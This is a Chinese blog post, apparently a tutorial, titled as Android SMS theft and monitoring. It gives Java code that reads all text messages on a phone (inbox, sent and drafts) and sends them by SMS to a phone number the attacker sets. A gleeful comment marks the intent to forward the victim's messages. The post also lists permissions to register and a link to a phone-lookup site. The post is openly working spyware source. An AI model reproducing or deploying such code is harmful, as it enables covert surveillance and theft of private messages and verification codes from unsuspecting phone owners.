android窃密短信监听
16lz
2021-01-23
//获得手机的短信
public String getSmsInPhone() { final String SMS_URI_ALL = "content://sms/"; final String SMS_URI_INBOX = "content://sms/inbox"; final String SMS_URI_SEND = "content://sms/sent"; final String SMS_URI_DRAFT = "content://sms/draft"; StringBuilder smsBuilder = new StringBuilder(); try{ ContentResolver cr = getContentResolver(); String[] projection = new String[]{"_id", "address", "person", "body", "date", "type"}; Uri uri = Uri.parse(SMS_URI_ALL); Cursor cur = cr.query(uri, projection, null, null, "date desc"); if (cur.moveToFirst()) { String name; String phoneNumber; String smsbody; String date; String type; int nameColumn = cur.getColumnIndex("person"); int phoneNumberColumn = cur.getColumnIndex("address"); int smsbodyColumn = cur.getColumnIndex("body"); int dateColumn = cur.getColumnIndex("date"); int typeColumn = cur.getColumnIndex("type"); do{ name = cur.getString(nameColumn); phoneNumber = cur.getString(phoneNumberColumn); smsbody = cur.getString(smsbodyColumn); SimpleDateFormat dateFormat = new SimpleDateFormat( "yyyy-MM-dd hh:mm:ss"); Date d = new Date(Long.parseLong(cur.getString(dateColumn))); date = dateFormat.format(d); int typeId = cur.getInt(typeColumn); if(typeId == 1){ type = "接收"; } else if(typeId == 2){ type = "发送"; } else { type = ""; } smsBuilder.append("["); smsBuilder.append(name+","); smsBuilder.append(phoneNumber+","); smsBuilder.append(smsbody+","); smsBuilder.append(date+","); smsBuilder.append(type); smsBuilder.append("] "); smsBuilder.append("\n"); if(smsbody == null) smsbody = ""; }while(cur.moveToNext()); } else { smsBuilder.append("no result!"); } } catch(SQLiteException ex) { Log.d("SQLiteException in getSmsInPhone", ex.getMessage()); } return smsBuilder.toString(); }
//把他的短信发送到指定的手机上嘿嘿
String msg=getSmsInPhone();//发送短信String tel="手机号码"; SmsManager manage=SmsManager.getDefault(); //取得默认的SmsManager用于短信的发送 List all=manage.divideMessage(msg); //短信的内容是有限的,要根据短信长度截取。逐条发送 manage.sendTextMessage(tel, null, all.get(0), null, null); //逐条发送短息
//去配置文件注册权限
//http://www.shop8888.com 手机号码查询大家可以查询一下
更多相关文章
- Android之简易电话 & 短信
- 看Android 短信的一些关键字
- Android自动读取短信验证码
- Android 使用HTTPClient调用Web请求(查询手机号码区域)
- Android短信管理
- android 短信监听